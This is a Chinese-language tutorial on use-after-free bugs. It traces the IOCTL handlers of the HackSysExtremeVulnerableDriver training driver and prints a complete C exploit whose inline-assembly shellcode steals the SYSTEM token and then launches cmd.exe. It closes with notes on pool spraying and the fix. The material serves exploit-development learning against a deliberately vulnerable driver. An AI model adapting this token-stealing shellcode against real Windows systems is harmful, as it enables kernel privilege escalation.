看下面一段代码:
#include <iostream>int main()
{
char* p1 = (char*)malloc(sizeof(char*)*10);
memcpy(p1,"hello",10);
printf("p1 addr:%x,p1:%s\n",p1,p1);
free(p1); //释放堆空间
char* p2 = (char*)malloc(sizeof(char*) * 10);
memcpy(p2,"world",10);
printf("p2 addr:%x p1:%s\n",p2,p2);
printf("p1 addr:%x,p1:%s\n", p1, p1);
}
结果为:
指针p1指向了一块大小为10字节的堆空间,并存入了一个字符串“hello”,随即释放了该堆空间,但并未将指针p1指向null,这将导致指针p1仍然能够使用。
紧接着指针p2指向了一块新申请为10字节的堆空间,并存入了一个字符串“world”,此时打印p1,p2的地址和字符串,发现p1和p2地址相同,并且此时能通过p1打印出“world”。
在free一块内存后,接着申请大小相同的一块内存,操作系统会将刚刚free掉的内存再次分配。
通过p2能够操作p1,如果之后p1继续被使用,则可以达到通过p2修改程序功能等目的,这也是UAF(use after free)的含义。
利用UAF漏洞,总结如下几个步骤:
在释放了g_UseAfterFreeObjectNonPagedPool
对应的堆空间后,并没有将该指针指向null。
导致后续如果有继续使用g_UseAfterFreeObjectNonPagedPool
该全局变量,将会导致UAF漏洞。
该函数名称为FreeUaFObjectNonPagedPool
查看g_UseAfterFreeObjectNonPagedPool
的交叉引用,看还有那些函数使用了该全局变量。
其中AllocateUaFObjectNonPagedPool
的作用是申请一块内存
UseUaFObjectNonPagedPool
为执行g_UseAfterFreeObjectNonPagedPool
指针
FreeUaFObjectNonPagedPool
负责释放堆空间
有了以上函数我们还需要重新申请一块相同大小的内存来控制g_UseAfterFreeObjectNonPagedPool
AllocateFakeObjectNonPagedPoolIoCtrlHandler
AllocateUaFObjectNonPagedPool
函数向上跟,发现IOCTL为2236435时调用AllocateUaFObjectNonPagedPoolIoctlHandler
函数
该函数直接调的就是AllocateUaFObjectNonPagedPool
进入AllocateUaFObjectNonPagedPool
后,可以看到通过ExAllocatePoolWithTag
申请一个大小为0x58大小空间的内存,并将该内存返回的指针赋值给全局变量g_UseAfterFreeObjectNonPagedPool
实际上0x58大小正好是一个结构体_USE_AFTER_FREE_NON_PAGED_POOL
向上跟踪FreeUaFObjectNonPagedPool
,看谁调用了他
IOCTL为2236443时调用FreeUaFObjectNonPagedPoolIoctlHandler
函数
同样FreeUaFObjectNonPagedPoolIoctlHandler
仅仅调用了FreeUaFObjectNonPagedPool
通过ExFreePoolWithTag
释放g_UseAfterFreeObjectNonPagedPool
指向的空间
该函数IOCTL为2236511
将用户模式传入UserFakeObject
指向内容拷贝给内核中申请的内存。
注意这里申请的大小也是0x58,那么试想一种情景:
如果通过AllocateUaFObjectNonPagedPool
申请了一块内存,并通过FreeUaFObjectNonPagedPool
释放这块内存,但并没有将g_UseAfterFreeObjectNonPagedPool
指针指向null
,此时通过AllocateFakeObjectNonPagedPoolNx
再次申请内存,那么v1
就有可能重新指向一开始申请的内存,即v1
和g_UseAfterFreeObjectNonPagedPool
指向同一块内存,而此时v1
可控,由三环UserFakeObject
传入,那么此时如果有个函数可以执行g_UseAfterFreeObjectNonPagedPool
则可造成UAF漏洞。
正好有这样一个函数UseUaFObjectNonPagedPool
,能执行g_UseAfterFreeObjectNonPagedPool
指针。
#include <iostream>
#include <Windows.h>typedef void(*FunctionPointer) ();
typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer countinter;
char bufffer[0x54];
}FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;
void ShellCode()
{
_asm
{
nop
pushad
mov eax, fs: [124h]
mov eax, [eax + 0x50]
mov ecx, eax
mov edx, 4
find_sys_pid :
mov eax, [eax + 0xb8]
sub eax, 0xb8
cmp[eax + 0xb4], edx
jnz find_sys_pid
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
DWORD recvBuf;
// 获取句柄
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("获取句柄失败\n");
return 0;
}
DeviceIoControl(hDevice, 2236435, NULL, NULL, NULL, 0, &recvBuf, NULL);
DeviceIoControl(hDevice, 2236443, NULL, NULL, NULL, 0, &recvBuf, NULL);
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
DeviceIoControl(hDevice, 2236511, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
DeviceIoControl(hDevice, 2236439, NULL, NULL, NULL, 0, &recvBuf, NULL);
CreateCmd();
return 0;
}
为了能够保证v1
和g_UseAfterFreeObjectNonPagedPool
指向同一块内存,可以使用池喷射的方式。
将g_UseAfterFreeObjectNonPagedPool
在释放后指向null即可避免问题